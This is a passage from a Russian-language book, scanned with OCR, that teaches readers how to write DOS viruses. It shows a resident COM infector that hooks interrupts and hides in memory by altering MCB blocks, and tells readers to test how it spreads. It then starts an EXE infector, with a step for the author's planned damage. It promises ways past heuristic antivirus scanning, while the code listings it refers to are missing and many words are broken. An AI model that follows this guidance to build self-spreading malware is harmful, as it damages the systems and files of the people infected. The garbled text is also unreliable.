Обработчик здесь вызывается как дальняя процедура. Команда "CALL" запи сана в виде машинного кода, а поля заполняются секцией инициализации при установке вируса в память. Обратите внимание на команды переключения стека. Они необычны тем, что от адреса ячеек памяти "sssave", "sp_save", "tg infect" и "he)p_word" отнимается число 11 Oh. Дело в том, что при компиляции исходного текста СОМ-программы ад реса ячеек памяти вычисляются исходя из того, что DS указывает на начало ее PSP. Кроме того, в самом начале вируса мы записали директиву Но ведь к вы шеуказанным ячейкам памяти вирус обращается в резидентном режиме, да еще и от носительно CS. A CS указывает строго на начало обработчика, а не на начало PSP, как это было при компиляции! Поэтому относительный адрес ячеек необходимо уменьшить на 110h, что мы и сделали. Этот прием будет использован еще несколько раз при построении вирусных обработчиков прерываний, поэтому полезно будет по нять, на чем он основан.
Сохраняем регистры процессора В самом начале работы резидентная программа обязана сохранить значения регистров процессора, которые были переданы ей прерванной программой, а при за вершении работы — восстановить эти значения. Если этого не сделать, прерванная программа просто не сможет нормально выполняться дальше, что приведет к сбою вычислительного процесса. Поэтому сейчас мы сохраним все регистры, используе мые вирусом, в стеке ;
Заметим, что значения регистров записываются уже в область "newstack", а не в стек прерванной программы. Значения SS и SP сохраняются в переменных: "ss_save"
107
Разработка резидентной
СОМ-программы
и "sp_save", и поэтому в стек не заносятся. Команда "jmp cs:infect" также относится к резидентной секции и передает управление "заразной" части вирусного кода.
Создаем секцию инициализации А теперь пора заняться изготовлением секции инициализации нашей про граммы. Поскольку эта секция исполняется при запуске зараженного файла, выпол ним коррекцию регистра DS:
Константа "pushlen" содержит смещение от начала вируса до начала секции инициализации. Именно это число записывается за меткой "vir". Далее следует про верить наличие вируса в памяти, поэтому:
Для проверки используется так называемое мультиплексное прерывание MS DOS, специально предназначенное для использования в резидентных програм мах. В регистрах АХ и ВХ мы поместим код, на который реагирует вирусный об работчик этого прерывания, и выполним команду "INT 2Fh". Если вирус был установлен в памяти, его обработчик проанализирует значения АХ и ВХ. И если они равны , которое и рассчитывает по лучить секция инициализации. Если вирусный код уже инсталлирован, необходимо: восстановить в памяти компьютера исходные три байта зараженной программы:
Восстановить значения сегментных регистров:
108 И выполнить переход на начало этой программы:
f
Разработка резидентной СОМ-программы
Здесь команда "jmp cl_conv_l" очищает очередь процессора. Без нее наш ви рус на некоторых процессорах работал бы некорректно. Если же вируса в памяти еще нет, нужно установить его в память. Эту работу выполняют команды, записанные за меткой "free mem". •
Запрашиваем блок памяти Как вы уже знаете, резидентная программа должна находиться в памяти в течение сеанса работы компьютера. Поэтому секция инициализации должна "по просить" MS DOS выделить для загрузки резидентной части соответствующий | л о к памяти. Существует целый ряд методов, позволяющих получить в распоряжение 'SR-программы область памяти достаточного размера. Например, в обычных рези дентных программах эту функцию выполняет MS DOS в процессе резидентного за вершения. При этом область памяти, выделенная TSR-программе при ее запуске, просто усекается до размера резидентной части и остается занятой после завершения программы. Таким образом, резидентная часть размещается в том месте, куда неког да была загружена вся программа. К сожалению, использование такого метода в вирусе порождает целый ряд проблем. Например, в этом случае необходимо записывать вирусный код в начало, а не в конец файла-жертвы, иначе при запуске зараженной программы она будет "са диться" в память целиком. Есть и другие трудности, преодолеть которые очень не просто. Не случайно такой прием при написании вирусов применяется редко. Другой способ состоит в использовании для поиска подходящего блока памя ти так называемых МСВ-блоков (потом мы поговорим о них подробнее). При этом вирус должен путем сканирования цепочки блоков управления памятью (Memory Control Blocks) найти свободный блок подходящего размера, разделить его на две ча сти, одна из которых точно соответствует или несколько превышает длину вируса, и записать во вновь созданный блок свой код. Основной недостаток данного метода со стоит в том, что МСВ блоки являются недокументированной структурой MS DOS, и при их использовании нужно быть готовым к тому, что программа будет работать на одной машине и не будет работать на другой. Это также относится к разным верси ям операционной системы. Кроме того, очень сложно построить эффективный алго ритм реализации этого метода. Ведь вирусный код должен записываться не просто в подходящий по размерам блок, а в старшие адреса оперативной памяти, иначе за грузка больших программ будет просто невозможна. Третий способ заключается в том, что код вируса копируется в заданную об ласть памяти без коррекции МСВ-блоков. Недостаток его состоит в следующем: "время жизни" вируса, реализующего такой алгоритм, чрезвычайно мало и зависит от интенсивности использования оперативной памяти. Причем "гибель" вирусной программы с почти стопроцентной вероятностью приводит к повисанию компьюте-
109
Разработка резидентной
СОМ-программы
pa. Хотя метод отличается простотой реализации и имеет ряд других достоинств, приведенный выше недостаток делает его практическое использование маловозмож ным. Четвертый способ состоит в использовании функций, реализующих управление памятью. Используя его, можно построить эффективный и корректно работающий программный код, который будет хорошо работать на разных машинах и с любыми версиями операционной системы. При этом его реализация весьма проста и понятна. Поэтому мы применим именно этот способ:
В приведенном фрагменте использованы функции: 4Ah — изменение разме ра блока памяти, а также 48h — выделение блока,памяти. Работа вышеприведенных команд весьма проста и особых пояснений не тре бует. Стоит лишь заметить, что для загрузки вирусного кода выделяется область в са мом "верху" свободной оперативной памяти, что является почти обязательным для подавляющего большинства вирусных программ.
Делаем вирус "незаметным" К сожалению, выбранный нами способ поиска свободного блока памяти име ет один скрытый недостаток. Как вы, наверное, знаете, при завершении программы DOS освобождает блок памяти, который эта программа занимает. Кроме того, осво бождаются также все блоки, которые были распределены программе по ее запросам. Предположим, вирус стартовал из зараженной программы, с помощью опи санных ранее функций MS DOS нашел подходящий блок памяти и записал в него свой код, предварительно переписав на этот код те или иные прерывания. После это го он передает управление зараженной программе. Естественно, она когда-нибудь за вершится и передаст управление DOS. Но ведь в этом случае блок, который занимает вирусный код, будет освобожден, и при первой необходимости этот код будет унич тожен, чтобы записать на его место другую информацию! В результате произойдет моментальное "повисание" компьютера.
110
Разработка резидентной СОМ-программы Очевидно, этого можно избежать, если память, занимаемая вирусом, будет ставаться занятой в течение всего сеанса работы, и не будет освобождаться после авершения зараженной программы. Как показал эксперимент, для этой цели достаточно в МСВ, предшествую щем выделенному для вирусного кода блоку, сделать определенные изменения. Но начала мы немного расскажем о структуре Memory Control Blocks (МСВ) и их исользовании, Для того чтобы следить за использованием памяти, в MS DOS предусмотрена пециальная структура — так называемый блок управления памятью, или МСВ-блок. 'акой блок помещается DOS непосредственно перед каждым вновь выделяемым блоом памяти, и система ведет специальный список МСВ-блоков, просматривая его при ыполнении тех или иных действий, связанных с распределением памяти. МСВ обязательно начинается на границе параграфа и всегда занимает целый араграф. Конечно, MS DOS должна знать о том, где именно расположен первый лок управления памятью. На этот блок указывает внутренняя переменная DOS, знаение и местоположение которой известно только операционной системе. Рассмот>им теперь структуру МСВ-блока. Итак: Байт 0 — содержит код 5Ah, если данный блок является последним в цепоче МСВ, и код 4Dh — в противном случае. Байты 1,2 — Содержат PID (Program IDentificator) программы, для которых )OS выделяла блок, или ноль, если блок свободен. Байты 3, 4 — Содержат размер блока в параграфах. Следующий блок располо жен в памяти по адресу: MCB_NEW=MCB_OLD+lenght+l.Здесь МСВ_ЫЕ\¥-сегментный адрес, по которому располагается следующий МСВ, MCB_OLD — сегментный дрес рассматриваемого МСВ, a lenght — содержимое байтов 3, 4 этого блока. Остальные одиннадцать байтов блока не используются и могут содержать юбые данные. Но стоит заметить, что повреждение байтов 1, 3 или 4 приводит к вы даче сообщения : Memory A l l o c a t i o n Error system Halted немедленному "зависанию" компьютера. А теперь вернемся к нашей программе. Как показал эксперимент, достаточно, подменить в МСВ, предшествующем ирусному коду, байты 1 и 2. Причем лучше всего записать вместо этих байтов PID акой-нибудь из уже загруженных в память программ. Этим достигается еще и неза метность вируса в памяти. Советую вам попробовать загрузить несколько TSR-npoграмм и в МСВ одной из них подменить байты 1 и 2 на PID какой-нибудь другой программы. После этого нажмите в Volkov Commander клавиши ALT и F5, и вы уви дите очень интересный эффект. Но дело в том, что для использования вышеприведенного метода необходимо еще найти программу, на PID которой наш вирус будет "паразитировать". Сделать это е так просто, как может показаться на первый взгляд. И поэтому для облегчения на1111 11
Разработка резидентной СОМ-программы шей работы вместо РШ загруженной в память программы мы запишем в МСВ виру са сегментный адрес области данных DOS, а именно:
Предыдущий фрагмент вернул нам сегментный адрес выделенного для виру са блока памяти в регистре АХ. Приведенные программные строки очень просты, и объяснять их работу не нужно. Следует только сказать, что вирус фактически отни мает у DOS несколько килобайтов памяти, поэтому необходимо скорректировать PSP программы-носителя вируса. А именно уменьшить верхнюю границу блока памяти, выделенного программе, на длину вирусного кода. Интересующая нас величина на ходится по смещению 02h от начала PSP.
Получаем вектора прерываний Итак, мы нашли блок памяти, в который часть инициализации будет копиро вать вирусный код. Но прежде чем инсталлировать вирус в память, необходимо уз нать адреса системных обработчиков прерываний. Ведь вирус будет вызывать эти обработчики перед (или после) выполнением собственных действий по обработке того или иного прерывания. Если исходные обработчики не будут получать управле ние, вычислительная система придет в аварийное состояние. Поэтому:
112
Как видим, для определения адресов обработчиков вирус обращается непо средственно к таблице векторов прерываний. Секция инициализации будет перехва тывать прерывания: Int21h, Jnt 13h, Int28h и lnt2fh. Несколько позже мы разберемся, почему потребовалось перехватить именно их, и приведем тексты вирусных обра ботчиков этих прерываний.
Копируем вирусный код в память Теперь настало время переписать в память код вируса и подготовить его к ра боте в резидентном режиме:
В самом начале нужно сбросить в ноль переменную "tg_infect", чтобы вирус не занимался заражением файлов, пока его об этом не попросят. Далее, в первые два байта кода вируса, который мы собираемся записывать в память, следует записать две команды NOP или код 9090h. Теперь тело вируса просто копируется в блок памя ти, сегментный адрес которого задан в регистре АХ.
Устанавливаем вектора прерываний на вирусные обработчики Все подготовительные действия выполнены, и нам только осталось заменить адреса системных обработчиков прерываний Int 21h, Int 13h, Int 28h и Int 2fh на ад реса вирусных обработчиков, после чего необходимо передать управление заражен ий программе. Это мы сейчас и сделаем:
113
Разработка резидентной СОМ-программы
Модификация векторов прерываний в особых комментариях не нуждается. А команда "jmp fresh_bytes" передает управление на программный код, выполняющий восстановление исходных трех байт программы-жертвы. Таким образом, мы разработали секцию инициализации нашего вируса. И по этому настало время перейти к созданию резидентной секции. Все оставшиеся пунк ты этой главы будут посвящены именно разработке резидентной части.
Пишем резидентную часть Начало резидентной части мы создали в первых пунктах главы. А теперь про сто продолжим, и допишем до конца "заразную" часть вирусной программы:
Сразу за меткой "infect" мы записали команды, которые корректируют содер жимое DS при работе в резидентном режиме. Если этого не сделать, то относитель ный адрес каждой ячейки памяти придется уменьшать на 110h. Далее вирус проверяет значение переменной "tg_13h". Дело в том, что резидентный вирус обяза тельно должен заражать файлы, находясь в памяти, и поэтому без обращения к дис ку в резидентном режиме нам не обойтись. Такое обращение", естественно, должно происходить только в те моменты, когда никакие другие программы не работают с диском. Если это условие не соблюдается, непременно возникнет программный кон фликт, что приведет к неприятным последствиям. Особенно это относится к тем слу чаям, когда на машине установлен какой-нибудь кэш (например, SMARTDRIVE или HYPERDISK). В этом случае может случиться так, что вирус и кэш попробуют обра титься к диску одновременно, а это недрпустимо! Решить проблему помогает введение переменной "tg_13h". Она принимает значение " 1 " , когда к диску выполняется обращение, или значение "О", если в данный момент обращения к диску нет. Для инициализации переменной используется специ альный "фильтр" прерывания Int 13h, который будет описан ниже. Итак, если "tg_13h" равна " 1 " , вирус возвращает управление прерванной программе, в против ном случае работа вирусного кода продолжается.
114
Разработка резидентной СОМ-программы
Заражаем СОМ-файл В случае, если прерывание Int I3h не выполняется, можно заняться поиском подходящего СОМ-файла и его заражением. Этот процесс практически не отличает ся от действий нерезидентного вируса, и поэтому мы просто используем разработан ный ранее блок, не останавливаясь подробно на его работе:
116
Разработка резидентной
СОМ-программы
Как видите, в созданный ранее фрагмент были внесены некоторые измене ния, в которых мы сейчас и разберемся. Поскольку вирус будет заражать файлы в ре зидентном режиме, он будет пользоваться DTA активной в данный момент программы, что приведет к ее разрушению. Чтобы этого не происходило, нужно со хранить ее в области данных вируса, а после завершения работы вируса — восстано-
117
Разработка резидентной СОМ-программы вить. Получить адрес текущей DTA можно с помощью функции DOS 2Fh, которая и используется вирусом. Следующее отличие — наш вирус проверяет, является ли найденный файл ко мандным процессором COMMAND.COM. Для этого используется процедура SEARCH, которая возвращает INSIDE=1, если найден командный процессор или INSIDE=0 — в противном случае. Так как иногда СОМ-файлы на самом деле имеют ЕХЕ формат, их размер может превышать 64 Кбайта, и следует проверить, не являет ся ли найденный нами файл именно таким, иначе при заражении он будет безнадеж но испорчен. С этой целью вирус считывает из DTA слово по смещению OlCh и сравнивает его с нулем. Если это слово равно нулю, размер файла не превышает 64 Кбайт, и его можно заражать. Кроме того, неплохо было бы проверить формат файла. Для этого нужно проверить его первые два байта. Если мы имеем дело с ЕХЕфайлом, то указанные байты содержат ASCII-коды символов "М" и "Z". Думаю, чи татель сам при желании допишет несколько необходимых для этого команд. И последнее -— мы выяснили, что первыми двумя байтами, которые должны записываться в конец файла, должна быть команда перехода на секцию инициализа ции вируса. Эту функцию выполняют команды, записанные за меткой "write_vir". Сам код команды перехода хранится в области "end_file". Не спешите торжествовать по поводу того, что автор этой книги не смог сде лать вирус, заражающий C0MMAND.COM, и поэтому, вероятно, является "чайни ком". На самом деле вирус отлично работает с командным процессором и при этом не глючит. Защита введена только для вашего же блага, так как заражение COM MAND.COM "нестандартным" вирусом — крайне неприятное событие. Подготов ленный читатель без труда снимет такую "защиту".
Восстанавливаем регистры Перед тем, как передать управление прерванной программе, необходимо вос становить значения регистров, которые имели место при получении управления ре зидентной программой:
118
Разработка резидентной СОМ-программы Кроме того, вирус восстанавливает стек прерванной программы, без чего альнейшая работа невозможна.
Пишем обработчики прерываний Для начала выясним, какие прерывания и с какой целью наш вирус будет пе>ехватывать. Во-первых, необходимо перехватить прерывание Int 2lh. Дело в том, то наш вирус является резидентным, и должен заражать файлы при тех или иных обытиях в вычислительной системе. Очень многие вирусы активизируются, наприер, при смене текущего диска или каталога. Этот метод является весьма удачным, и ы реализуем именно его. Но для этого нужно знать, когда именно выполняются смеа каталога или диска. Единственный способ узнать о таком событии это перехватить эерывание Int 21h на себя, и при каждом его вызове проверять, какая именно функ1Я вызывается. Так мы и сделаем. Во-вторых, нам не обойтись без перехвата Int 13h. 3-третьих, поскольку наш вирус будет пользоваться функциями DOS, которые рабоают с диском в резидентном режиме, необходимо знать, когда можно безопасно общшаться к этим функциям. Для этого следует перехватить прерывание Int 28h, оторое всегда вызывается только при выполнении DOS реентерабельной секции воего кода. Иными словами, при возникновении прерывания Int 28h можно смело ользоваться любыми функциями DOS. Далее, для проверки наличия вирусного кода в памяти наш вирус будет исользовать так называемое мультиплексное прерывание — Int 2fh, и поэтому мы олжны перехватить и его. Й, наконец, мы должны написать обработчик критической ошибки. Она возикает, например, если мы попытаемся записать информацию на вынутую из дискоода дискету. Наш вирус должен перехватить прерывание по критической ошибке nt 24h) и выполнить его обработку.
Обработчик Int 13h Как мы уже выяснили, этот обработчик должен записывать в ячейку "tg_13h" начение " 1 " , если в данный момент выполняется прерывание Int 13h, или значение О" — в противном случае. К сожалению, в MS DOS отсутствует какое-либо средство, позволяющее узать, когда именно активно прерывание Int 13h. И поэтому единственный способ реения этой задачи — установка на Int 13h так называемого "фильтра", который тележивал бы все вызовы вышеуказанного прерывания. Самое простое решение — это перехватить Int 13h на себя, а в самом обраотчике вызвать системный обработчик как дальнюю процедуру. Конечно, перед тим нужно записать в "tg_13h" единицу — это будет индикатором выполнения Int 3h в данный момент. Когда системный обработчик выполнится, управление вновь олучит "фильтр". Поскольку Int 13h уже выполнилось, можно сбросить в "О" переенную tg_13h. Итак:
119
Разработка резидентной СОМ-программы
Здесь константа "to_new_13h" показывает смещение от начала вирусного ко да до начала обработчика. Хотелось бы обратить ваше внимание на одну особен ность. Она состоит в том, что прерывания Int 2lh и Int 13h возвращают в регистре АХ код ошибки, а бит CF регистра флагов используется как индикатор этой ошибки. Пусть, например, при получении фильтром управления бит CF имел значение FLAG 1, а регистры CS и IP имели значения CS 1 и IP 1. Тогда команда "pushf' зане сет значение FLAG I в стек. Команда "call" поместит в стек значения CS 1 и IP 1,по сле чего управление получит системный обработчик. Этот обработчик занесет в стек значение FLAG 2, и при своем завершении выполнит команду "iret". Команда "iret" снимет с вершины стека значения IP 1,CS I и FLAG2. Теперь уже наш фильтр сбро. сит в "О" переменную "tg_13h", и командой "iret" передаст управление прерванной программе. Но дело в том, что эта команда извлечет из стека значения IP и CS, кото рые имели место в момент вызова прерывания Int 13h, а также регистр флагов FLAG 1. Таким образом, из стека будет извлечен FLAG 1 вместо FLAG 2! Чтобы это го не произошло, мы должны поместить в стек FLAG 2 вместо FLAG 1. Именно для этого предназначены команды, записанные после ячейки "old 13h_2". Работа этих команд особых пояснений не требует. Мы просто "добираемся" до нужной ячейки в стеке, последовательно считывая предшествующие. Можно, конечно, написать более эффективный фрагмент, зато выбранный нами метод достаточно прост.
Разработка резидентной СОМ-программы
Обработчик int 21h Рассмотрим теперь создание обработчика прерывания Int 21h. Как мы дого ворились, он должен помещать "единицу" в ячейку "tg_infect", если DOS выполняет смену текущего каталога или диска. Поэтому напишем "фильтр", который будет про верять, какая именно функция DOS вызвана в тот или иной момент :
Поскольку при вызове функции DOS в регистре АН задается ее номер, достаочно просто проанализировать его и "выловить" нужные значения. Наш вирус будет >еагировать на смену текущего каталога (AH=03Bh), и смену текущего диска AH=0Eh). Эти числа и пытается обнаружить "фильтр". Далее, так как нам нужно всего лишь определить, какая функция DOS вызваа, нет смысла после завершения системного обработчика передавать управление об)атно в "фильтр". По этой причине отпадает необходимость сложных "манипуляций" о стеком, которые мы проделывали в предыдущем пункте. Помимо решения своей конкретной задачи, написанный нами обработчик ис пользуется для перехвата прерывания Int 24h. Делается это прямым обращением к аблице векторов прерываний. Так же перехватывает прерывания и секция инициа лизации при установке вируса в память. Правда, вы можете спросить, зачем потре бовалась такая сложная методика перехвата, и почему бы не выполнить его в секции инициализации? Дело в том, что такой прием будет "работать" только в MS DOS. WINDOWS 95, например, постоянно восстанавливает вектор Int 24h, что делает бесмысленным изменение вектора "только один раз". Трудно сказать, зачем в WIN-
121
Разработка резидентной
СОМ-программы
DOWS 95 принято восстанавливать вектор. Вероятно, это сделано для надежности работы системы. При создании резидентного ЕХЕ-вируса мы поговорим еще об од ной "странности" этой популярной операционной системы, которая помешает нам сделать вирусную программу "невидимой" для антивирусных средств.
Обработчик Int 24h Этот обработчик должен устанавливать собственную реакцию на критичес кую ошибку. Вызывается он очень редко, поэтому просто сделаем так, чтобы при по явлении ошибки не происходило "зависание". Для этого достаточно вернуть управление прерванной программе, поместив предварительно в регистр AL код "3":
Обработчик Int 2Fh Напишем обработчик Int 2Fh. Мы договорились использовать это прерывание для проверки наличия вируса в памяти. Напомним, что секция инициализации для решения указанной задачи вызывает Int 2Fh с такими параметрами:
Если вирус уже инсталлирован в память, его обработчик должен вернуть AL = OFFh, это значение и анализирует секция инициализации при запуске зара женной программы. Исходя из всего сказанного, можно написать такой фрагмент:
Если вызывается прерывание Int 2Fh с параметрами, отличными от AX=0F000h и BX=01997h, вирусный обработчик просто возвращает управление си стемному. В противном случае управление передается прерванной программе, при чем в этом случае AL будет равно OFFh.
Обработчик Int 28h Строго говоря, мы его уже написали. Именно он занимается поиском и зараже нием файлов, пользуясь для этого функциями DOS. Но так как эти функции использу ются тогда, когда активно прерывание Int 28h, ничего страшного произойти не должно.
Область данных вируса Теперь мы можем привести все данные, с которыми работает наш вирус:
Процедура идентификации COMMAND.COM Приведем текст процедуры, которой пользуется наш вирус. Эта процедура проверяет, является — ли найденный нами файл командным процессором C0MMAND.COM и возвращает INSIDE = 1, если был найден именно командный процессор. Итак :
Завершаем программу
Единственное отличие заключается в том, что потребовалось ввести констан ту "vir_par". Она нужна для расчета необходимой длины блока памяти при инсталля ции вируса и в некоторых других вычислениях.
Листинг резидентного СОМ-вируса Теперь мы можем привести полный текст резидентной программы-вируса:
Разработка резидентной СОМ-программы
Комментарии В отличие от предыдущего, разработанный в этой главе вирус может отыски вать файлы для заражения на всем жестком диске и даже на дискетах. Это делает его довольно заразным и быстро распространяющимся. Поэтому сложность "конструк ции " окупается эффективностью работы вирусного кода. Вместе с тем, наш вирус имеет определенный недостаток. Ведь его обнару живает такая распространенная программа, как DOCTOR WEB! В следующей части будет рассказано о способах разработки вирусов, против которых алгоритм эвристи ческого анализа оказывается малоэффективным.
Испытание вируса Для исследования работы вируса откомпилируйте его исходный текст для получения СОМ-файла. После чего запустите этот СОМ-файл. "Пройдитесь" по различным каталогам и понаблюдайте, как вирус заражает файлы при смене теку щего каталога. Попробуйте перейти на другой диск и проследите за действиями вируса. И последнее, проверьте, заражается ли командный процессор. Все вышеука занные действия нужно проводить очень аккуратно и не рисковать важными про граммами, так как вирус, который мы изготовили, весьма заразный, из-за чего у вас [могут быть неприятности. Кроме того, очень советую вам "пройти" зараженную программу отладчиком до точки входа в программный код. И, наконец, при инсталлированном в память машины вирусном коде запустиk те программу DOCTOR WEB в режиме поиска резидентных вирусов. Вы убедитесь, что наш вирус обнаруживается как неизвестный.
Резидентом в UMB Однажды, когда я баловался с загрузкой программ в UMB, я обнаружил, что найдется немного вирусов, которые используют эту память, несмотря на удивитель. ную легкость, с которой они могут скрывать свое присутствие, используя ее. UMB или UPPER MEMORY BLOCKS, состоит из памяти расположенной между 640К и 1М(сегменты с А00О по FFFF). Эта область была изначально зарезервирова на для BIOS и видео памяти. Таким образом, имеем избыток свободного пространства в этой области, которое предприимчивые программисты сумели объединить с обычной памятью DOS. Просто берется и расширяется цепочка МСВ в эту область, которая, следовательно, превращается в память используемую машиной для других целей. Та ким образом, больше памяти становится доступной для использования программами. UMB особенно удобны для использования TSR-программами, которые менее требова тельны к размеру памяти, чем большинство других программ. Программисты MICROSOFT в версиях DOS 5+ реализовали утилиты использования UMB и на сего дняшний день методы использования UPPER MEMORY унифицированы.
Этот метод прост для понимания и для реализации. В DOS 5+, указатель на первый UMB находится в таблице дискового буфера, на который можно найти в ос новной таблице DOS (master list structure). Первый UMB обычно расположен по ад ресу 9FFF:0000, что впрочем не имеет значения. Это просто наиболее естественное место для него. Единственное различие между обычным МСВ и UMB — это поле со смещением +8, которое используется для маркировки блока как используемого DOS System code. Таким образом, помечая его соответствующим образом мы можем скрыть свое присутствие от таких утилит как MEM. Нижеприведенный пример, написанный для обычного RC вируса, иллюстри рует эту технологию.
Разработка нерезидентной вирусной ЕХЕ-программы
Разработка нерезидентной вирусной ЕХЕ-программы Формат ЕХЕ-файла на диске Каждый ЕХЕ-файл, хранимый на диске, состоит из заголовка, таблицы наст ройки и собственно программных кодов и данных. В заголовке содержится информа ция для настройки адресов и установки значений регистров процессора, которая используется при загрузке программы. Поскольку понимание структуры заголовка очень важно для изучения данной и последующей глав, мы рассмотрим ее уже сейчас. Итак, заголовок ЕХЕ-файла при хранении его на диске имеет следующий формат: Байты 0, 1: Содержат код 4D5Ah, или " MZ " Байты 2, 3: Содержат остаток от деления размера загрузочного модуля на 512 Байты 4, 5: Содержат размер файла в 512-ти байтовых страницах, округленный в большую сторону Байты 6, 7: Содержат число элементов таблицы настройки адресов Байты 8, 9: Содержат размер заголовка в параграфах Байты ОА, ОВ: Содержат минимальное число дополнительных параграфов, которые нужны загруженной программе Байты ОС, 0D: Содержат максимальное число дополнительных параграфов Байты ОЕ, OF: Содержат смещение в параграфах сегмента стека в загрузочном моду ле, назовем его SS0 Байты 10, 11: Содержат значение регистра SP, которое устанавливается перед пере дачей управления программе ( SP0 ) Байты 32, 13: Содержат контрольную сумму ЕХЕ-файла Байты 14, 15: Содержат значение регистра IP, которое устанавливается перед переда чей управления программе (1Р0) Байты 16, 17: Содержат смещение в параграфах сегмента кода в загрузочном модуле, или CS0 Байты 18, 19: Содержат расстояние в байтах от начала файла до первого элемента таблицы настройки адресов Байты IA, 1В: Содержат "0", если данная часть программы является резидентной, или отличное от нуля число, если данная часть является оверлейной Заметим, что контрольная сумма определяется суммированием всех слов, со держащихся в файле, без учета переполнения. При этом она практически нигде не используется.
136
Разработка нерезидентной вирусной ЕХЕ-программы
Загрузка и выполнение ЕХЕ-программы Действия MS DOS при запуске ЕХЕ-программы отличаются от действий при ;ке программы типа СОМ, хотя в обоих случаях операционная система испольодну и ту же функцию EXEC. Действия этой функции при запуске ЕХЕ-промы выглядят так: 1. Запускаемой программе отводится вся свободная в данный момент операая память. Сегментная часть начального адреса этой памяти обычно называется пьным сегментом программы. 2. По нулевому смещению в сегменте, определяемом начальным сегментом раммы, EXEC строит PSP программы. Заполняет PSP по-прежнему операцион;истема, а его размер, как и для СОМ-программы, равен 256 байт. 3. Сразу вслед за PSP загружается сама ЕХЕ-программа. Причем в память по лется исключительно загрузочный модуль, а заголовок и таблица настройки в па не копируются. После этого выполняется так называемая настройка адресов. Ее состоит в следующем: Некоторые команды (например, команды далекого перехода или вызова проры, расположенной в другом программном сегменте) требуют указания не тольдещения, но и сегмента адреса. Компоновщик строит ЕХЕ-модуль относительно горого "начального" адреса, но ведь в MS DOS программы могут загружаться в :звольную область памяти! Поэтому при загрузке программы к каждому сегному адресу прибавляется значение начального сегмента программы. Этот прои называют настройкой адресов. У вас может возникнуть вопрос, откуда MS знает, где расположены требующие настройки элементы. Для получения такой )рмации система использует таблицу настройки, которая находится в файле по торому смещению от его начала. Само смещение хранится в заголовке в байтах 4. EXEC выполняет настройку регистров процессора. Обозначим начальный ент программы буквами NS0. Тогда устанавливаемые значения регистров будут вдеть так:
CSO, SSO, IP0 и SP0 берутся загрузчиком из заголовка ЕХЕ-файла, a NS0 ста новится известным в процессе загрузки. 5. Теперь загруженную ЕХЕ-программу можно исполнить. Для этого EXEC передает управление но адресу CS: IP. Стоит заметить, что размер ЕХЕ-файла в MS DOS не ограничивается разме ром одного сегмента и может быть очень большим (примерно 65535*512=33553920 байт!). Правда, для построения очень больших ЕХЕ программ используется овер лейная структура. При исполнении программы, имеющей оверлейную структуру,
137
Разработка нерезидентной вирусной ЕХЕ-программы она не загружается в память целиком. Вместо этого в память помещается только ее резидентная часть, которая по мере необходимости подгружает те или иные овер лейные фрагменты.
Как вирус может заразить ЕХЕ-файл Как и при заражении СОМ-программ, при заражении ЕХЕ-файлов вирусный код может записываться в конец, начало или в середину файла. Запись в конец фай ла, как и в предыдущем случае, реализуется наиболее просто, и кроме того, предо храняет от многих трудностей при отладке. Поэтому мы создадим вирус, работающий именно по такому принципу. Для того чтобы при старте зараженной программы код вируса получил уп равление, следует соответствующим образом модифицировать заголовок ЕХЕ-файла. Для этого исходные значения С§0 и IP0 заменяются на точку входа в вирусный код, а значения SS0 и SP0 "переключаются" на собственный стек вируса. Кроме то го, поскольку при заражении изменяются длина загрузочного модуля и длина фай ла, необходимо скорректировать поле заголовка по смещению 02h, 03h, а также 04h, 05h. Вот и все. Может показаться, что создать вирус, заражающий ЕХЕ-файлы, намного сложнее, чем СОМ-вирус. Однако это не так. Прочтите эту главу, и вы убедитесь в этом!
Работа вируса в зараженной программе Рассмотрим теперь действия вируса при получении им управления. Итак, вирус функционирует по такому алгоритму: 1. Ищет на диске подходящий ЕХЕ-файл. 2. Записывает свое тело в конец этого файла. 3. Корректирует заголовок заражаемой программы следующим образом: а). Вместо исходных CS0 и IP0 заражаемой программы записываются зна чения, обеспечивающие передачу управления вирусному коду при запуске программы, б). Исходные SS0 и SP0 заменяются на значения, обеспечивающие переключе ние на собственный стек вируса, в). Корректируется остаток от деления размера загрузочного модуля на 512. г). Поскольку при заражении длина файла увеличивается, корректируется раз мер файла в страницах (одна страница равна 512 байт). Естественно, перед корректировкой вирус обязан сохранить исходные пара метры заголовка, ведь они потребуются при передаче управления вирусному коду. После коррекции заголовок записывается на диск. 4. Выполняет вредные действия, предусмотренные автором.
138
Разработка нерезидентной вирусной ЕХЕ-программы 5.Определяет значения CS, IP, SS и SP, необходимые для правильной работы про граммы, из которой стартовал вирус. 6. Передает управление зараженной программе. Для этого вирус использует команду безусловного дальнего перехода. Адрес перехода задается вычисленными CS и IP.
[
После этого начинается обычное выполнение программы.
Начало работы Как и СОМ-вирус, ЕХЕ-вирус лучше разрабатывать в формате СОМ. Это убе-
ежет нас от многих ненужных трудностей. Поэтому напишем стандартное начало СОМ программы:
Как вы помните, директива "assume cs:prg, ds:prg, es: prg, ss:prg" назначает сегментные регистры сегменту с именем PRG, а директива "org 100h" резервирует г место для PSP вирусной программы.
Вирус получает управление В отличие от СОМ-вируса, наша запускающая программа после запуска не будет заменять в памяти свои первые три байта командой перехода на функцию DOS завершения программы. По этой причине можно не бояться, что в заражаемый файл попадет испорченный вирусный код. Отсюда следует, что директива "org liOh" нам не потребуется. Значит, можно сразу переходить "к делу":
При компиляции относительные адреса всех ячеек памяти определяются от
| носительно DS, который указывает на начало PSP. Но в зараженной программе при
передаче управления на код вируса регистр CS будет указывать на параграф, с кото рого начинается этот код, а не на начало PSP, а регистр DS вообще окажется настро енным на начальный сегмент программы! Единственный способ получить доступ к данным вируса заключается в установке DS = CS. А с учетом размера PSP в 10h па раграфов значение DS следует уменьшить как раз на эту величину. При заражении того или иного файла поле "sub_ds" для него будет заполняться значением 10h. По скольку запускающая программа имеет СОМ-формат, для нее CS=DS=SS=ES, и все они указывают на начало PSP. Поэтому значение DS корректировать не нужно, и в поле "sub_ds" запускающей программы помещается ноль. Дальше вирус переключа ет DTA на массив "new_dta", расположенный в области данных вируса. Поскольку
Разработка нерезидентной вирусной ЕХЕ-программы начальный сегмент программы станет известным при ее запуске, можно будет без особого труда восстановить адрес исходной DTA.
Ищем подходящий файл Теперь наш вирус может заняться поиском файла-жертвы. Как мы договори лись, вирус будет заражать ЕХЕ-файлы, значит, такой файл и нужно найти. Но по скольку фрагмент, который производит поиск файлов с тем или иным расширением уже был создан, остается только воспользоваться им, внеся некоторые изменения:
Разработка нерезидентной вирусной ЕХЕ-программы
В
